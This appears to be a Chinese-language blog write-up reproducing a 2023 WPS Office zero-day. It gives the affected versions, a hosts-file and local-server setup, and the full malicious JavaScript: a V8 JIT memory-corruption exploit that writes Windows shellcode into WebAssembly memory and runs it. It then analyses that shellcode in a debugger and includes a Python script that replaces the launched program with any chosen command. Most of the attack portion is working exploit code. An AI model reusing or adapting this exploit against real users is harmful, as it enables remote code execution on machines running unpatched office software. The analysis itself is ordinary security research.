复现过程

2023 年 HW 出现 WPS 0day POC

影响版本:

WPS Office 2023个人版<11.1.0.15120
WPS Office 2019企业版<11.8.2.12085

简单操作,安装指定版本以下的 wps 版本

设置 host 为

127.0.0.1 clientweb.docer.wps.cn.cloudwps.cn

在 poc 目录下打开 cmd,启动简单的 http 服务

python -m SimpleHTTPServer 80

打开 poc 文档即可弹出计算器

原理分析

将 poc.docx 解压并搜索 1.html,发现位于./word/webExtensions/webExtension1.xml 中

查看 POC 文档,POC 文档是个 html 文件,基本为 JS 代码,并最终执行 shellcode

<script>
if(typeof alert === "undefined"){
alert = console.log;
} let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer); function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64[0];
} function gc(){ // major
for (let i = 0; i < 0x10; i++) {
new Array(0x100000);
}
} function foo(bug) {
function C(z) {
Error.prepareStackTrace = function(t, B) {
return B[z].getThis();
};
let p = Error().stack;
Error.prepareStackTrace = null;
return p;
}
function J() {}
var optim = false;
var opt = new Function(
'a', 'b', 'c',
'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
'g++;'.repeat(70));
var e = null;
J.prototype.d = new Function(
'a', 'b', '"use strict";b.a.call(arguments,b);return arguments[a];');
J.prototype.a = new Function('a', 'a.b(0,a)');
J.prototype.b = new Function(
'a', 'b',
'b.c();if(a){' +
'g++;'.repeat(70) + '}');
J.prototype.c = function() {
if (optim) {
var z = C(3);
var p = C(3);
z[0] = 0;
e = {M: z, C: p};
}
};
var a = new J();
// jit optim
if (bug) {
for (var V = 0; 1E4 > V; V++) {
opt(0 == V % 4 ? 1 : 4, a, 1);
}
}
optim = true;
opt(1, a, 1);
return e;
} e1 = foo(false);
e2 = foo(true); delete e2.M[0]; let hole = e2.C[0];
let map = new Map();
map.set('asd', 8);
map.set(hole, 0x8); map.delete(hole);
map.delete(hole);
map.delete("asd"); map.set(0x20, "aaaa");
let arr3 = new Array(0);
let arr4 = new Array(0);
let arr5 = new Array(1);
let oob_array = [];
oob_array.push(1.1);
map.set("1", -1); let obj_array = {
m: 1337, target: gc
}; let ab = new ArrayBuffer(1337);
let object_idx = undefined;
let object_idx_flag = undefined; let max_size = 0x1000;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 0xa72) {
object_idx = i;
object_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 0xa72) {
object_idx = i + 1;
object_idx_flag = 0;
break;
}
} function addrof(obj_para) {
obj_array.target = obj_para;
let addr = d2u(oob_array[object_idx])[object_idx_flag] - 1;
obj_array.target = gc;
return addr;
} function fakeobj(addr) {
let r8 = d2u(oob_array[object_idx]);
if (object_idx_flag === 0) {
oob_array[object_idx] = u2d(addr, r8[1]);
}else {
oob_array[object_idx] = u2d(r8[0], addr);
}
return obj_array.target;
} let bk_idx = undefined;
let bk_idx_flag = undefined;
for (let i = 0; i < max_size; i++) {
if (d2u(oob_array[i])[0] === 1337) {
bk_idx = i;
bk_idx_flag = 1;
break;
}if (d2u(oob_array[i])[1] === 1337) {
bk_idx = i + 1;
bk_idx_flag = 0;
break;
}
} let dv = new DataView(ab);
function get_32(addr) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
let val = dv.getUint32(0, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
return val;
} function set_32(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint32(0, val, true);
oob_array[bk_idx] = u2d(r8[0], r8[1]);
} function write8(addr, val) {
let r8 = d2u(oob_array[bk_idx]);
if (bk_idx_flag === 0) {
oob_array[bk_idx] = u2d(addr, r8[1]);
} else {
oob_array[bk_idx] = u2d(r8[0], addr);
}
dv.setUint8(0, val);
} let fake_length = get_32(addrof(oob_array)+12);
set_32(get_32(addrof(oob_array)+8)+4,fake_length); let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main; let target_addr = addrof(wasm_instance)+0x40;
let rwx_mem = get_32(target_addr);
//alert("rwx_mem is"+rwx_mem.toString(16)); const shellcode = new Uint8Array([0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00]); for(let i=0;i<shellcode.length;i++){
write8(rwx_mem+i,shellcode[i]);
}
f();
</script>

大佬表示一眼出是2021年的 chrome V8引擎 RCE 代码,换了 shellcode,我菜鸡看不出来 o(╥﹏╥)o 后面抽时间学一下

把 shellcode 写到 bin 文件中

import struct
shellcode = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00]
with open(r"shellcode.bin","wb") as fp:
for x in shellcode:
s = struct.pack('B',x)
fp.write(s)
fp.close()

查看可见字符

hexdump -e '16/1 "%02X " "  |  "' -e '16/1 "%_p" "\n"' shellcode.bin

命令解释:

  • -e '16/1 "%02X " " | "':16/1表示每行显示16个字节,"%02X "表示以两个十六进制字符的格式输出字节,并以空格分隔," | "表示在每行的中间以" | "分隔字节。
  • -e '16/1 "%_p" "\n"':16/1表示每行显示16个字节,"%_p"表示以可打印字符的格式输出字节,"\n"表示在每行的最后加上换行符。
FC 48 83 E4 F0 E8 C0 00 00 00 41 51 41 50 52 51  |  .H........AQAPRQ
56 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 | VH1.eH.R`H.R.H.R
20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 | H.rPH..JJM1.H1.
AC 3C 61 7C 02 2C 20 41 C1 C9 0D 41 01 C1 E2 ED | .<a|., A...A....
52 41 51 48 8B 52 20 8B 42 3C 48 01 D0 8B 80 88 | RAQH.R .B<H.....
00 00 00 48 85 C0 74 67 48 01 D0 50 8B 48 18 44 | ...H..tgH..P.H.D
8B 40 20 49 01 D0 E3 56 48 FF C9 41 8B 34 88 48 | .@ I...VH..A.4.H
01 D6 4D 31 C9 48 31 C0 AC 41 C1 C9 0D 41 01 C1 | ..M1.H1..A...A..
38 E0 75 F1 4C 03 4C 24 08 45 39 D1 75 D8 58 44 | 8.u.L.L$.E9.u.XD
8B 40 24 49 01 D0 66 41 8B 0C 48 44 8B 40 1C 49 | .@$I..fA..HD.@.I
01 D0 41 8B 04 88 48 01 D0 41 58 41 58 5E 59 5A | ..A...H..AXAX^YZ
41 58 41 59 41 5A 48 83 EC 20 41 52 FF E0 58 41 | AXAYAZH.. AR..XA
59 5A 48 8B 12 E9 57 FF FF FF 5D 48 BA 01 00 00 | YZH...W...]H....
00 00 00 00 00 48 8D 8D 01 01 00 00 41 BA 31 8B | .....H......A.1.
6F 87 FF D5 BB F0 B5 A2 56 41 BA A6 95 BD 9D FF | o.......VA......
D5 48 83 C4 28 3C 06 7C 0A 80 FB E0 75 05 BB 47 | .H..(<.|....u..G
13 72 6F 6A 00 59 41 89 DA FF D5 63 61 6C 63 00 | .roj.YA....calc.

可以看到以 calc 结尾,弹出计算器的字符串

Dump 下来的 shellcode 是二进制数据块,无法直接运行和调试,可以用 loader 将 shellcode 加载进行动态调试,此处使用 jmp2it.exe,

Jmp2it.exe 的原理传入的参数 1为 shellcode 的路径,用 CreateFile 获取文件句柄,之后使用 CreateFileMapping、MapViewOfFile 映射到自己的内存空间中,再根据参数2偏移量加上 MapViewOfFile 返回的基址获取入口地址,将此地址设为函数指针,在执行此函数前用 EB FE 循环跳转当前指令

C:\Users\win2021ltsc\Desktop>jmp2it.exe shellcode.bin 0x00 pause
** JMP2IT v1.4 - Created by Adam Kramer [2014] - Inspired by Malhost-Setup **
** As requested, the process has been paused ** To proceed with debugging:
1. Load a debugger and attach it to this process
2. If it has paused, instruct it to start running again
3. Pause the process after a few seconds
4. NOP the EF BE infinite loop which you should be on
5. Step to the CALL immediately after and then 'step into' it === You will then be at the shellcode ===

使用 x32dbg 附加进程,断在 jmp,把 EB FE 给 nop 掉,后面的 call 就是 shellcode

进入 shellcode

shellcode 的 calc 换成其他命令也可以跑,例如换成 notepad 加上0x00可以弹出记事本

import struct
shellcode_ = [0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,0x00, 0x53, 0xff, 0xd5]
my_command = 'notepad'
result = [ord(char) for char in my_command]
shellcode_ = shellcode_ + result + [0x00]
with open("notepad.bin","wb") as fp:
for x in shellcode_:
s = struct.pack('B',x)
fp.write(s)
fp.close()

参考链接:

WPS HW 漏洞 学习的更多相关文章

  1. XSS漏洞学习笔记

    XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...

  2. Typecho-反序列化漏洞学习

    目录 Typecho-反序列化漏洞学习 0x00 前言 0x01 分析过程 0x02 调试 0x03 总结 0xFF 参考 Typecho-反序列化漏洞学习 0x00 前言 补丁: https://g ...

  3. XXE漏洞学习笔记

    XXE 参考文章 名称 地址 一篇文章带你深入理解漏洞之 XXE 漏洞 https://xz.aliyun.com/t/3357 Web Hacking 101 https://wizardforce ...

  4. PWN二进制漏洞学习指南

    目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...

  5. JWT漏洞学习

    JWT漏洞学习 什么是JWT? JWT是JSON Web Token的缩写,它是一串带有声明信息的字符串,由服务端使用加密算法对信息签名,以保证其完整性和不可伪造性.Token里可以包含所有必要的信息 ...

  6. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  7. Vulhub 漏洞学习之:ElasticSearch

    Vulhub 漏洞学习之:ElasticSearch 目录 Vulhub 漏洞学习之:ElasticSearch 1 ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境 1 ...

  8. Vulhub 漏洞学习之:Fastjson

    Vulhub 漏洞学习之:Fastjson 目录 Vulhub 漏洞学习之:Fastjson 0 背景知识 0.1 FastJson POC解析 0.1.1 基于rmi的利用方式 0.1.2 基于ld ...

  9. Vulhub 漏洞学习之:Redis

    Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...

  10. Vulhub 漏洞学习之:ECShop

    Vulhub 漏洞学习之:ECShop 目录 Vulhub 漏洞学习之:ECShop 1 ECShop 2.x/3.x SQL注入/远程命令执行漏洞 1.1 环境安装 1.2 漏洞产生原因 1.3 漏 ...

随机推荐

  1. Isito 入门(二):Istio 的部署

    本教程已加入 Istio 系列:https://istio.whuanle.cn 目录 2,部署 Istio 安装 Helm 部署 istio-base 部署 istiod 部署 istio-ingr ...

  2. python 微信自动发图片,批量发送

    自动发送批量的图片给微信联系人,可为自己的文件传输助手 已实现: 可设置发送时间间隔 发送图片数量 指定接收人 下载链接: python批量自动连发图片给微信好友自动发图片-Python文档类资源-C ...

  3. 10、zookeeper客户端curator

    curator介绍 https://blog.csdn.net/wo541075754/article/details/68067872 关于第三方客户端的小介绍 zkClient有对dubbo的一些 ...

  4. JavaScript获取href的值

    1.当href的值为正常网址时: <!DOCTYPE html> <html> <head> <title></title> <met ...

  5. 【大语言模型基础】-详解Transformer原理

    一.Transformer Transformer最开始用于机器翻译任务,其架构是seq2seq的编码器解码器架构.其核心是自注意力机制: 每个输入都可以看到全局信息,从而缓解RNN的长期依赖问题. ...

  6. crc16校验C语言源码实例解析

    一 概念: 循环冗余码校验英文名称为Cyclical Redundancy Check,简称CRC.它是利用除法及余数的原理来作错误侦测(Error Detecting)的.实际应用时,发送装置计算出 ...

  7. Android 使用系统JAR包

    项目开发过程中,经常有需要到系统jar包,导入系统jar包后,发现无法正常编译通过,针对此问题,下文简述下如何导入framework.jar ,并正常使用 1.导入framework.jar ,使用c ...

  8. 深入解析C#中的第三方库NPOI:Excel和Word文件处理的利器

    一.引言 在.NET开发中,操作Office文档(特别是Excel和Word)是一项常见的需求.然而,在服务器端或无Microsoft Office环境的场景下,直接使用Office Interop可 ...

  9. 快速上手系列:Oracle

    一 简介 1.为何需要数据库?存储大量数据,方便检索和访问. 2.文件组成: 数据文件:扩展名是.DBF,用于存储数据库数据的文件,数据库表和数据文件不存在一对一对应关系 控制文件:扩展名是.CTL, ...

  10. Rust使用Sauron实现Web界面交互

    目录 简介 架构 Application 和组件 简单入门示例 先决条件 创建新项目 编译库文件 引用库文件 运行项目 界面交互示例 创建项目 编译库文件 引用库文件 引用库文件 运行项目 参考资料 ...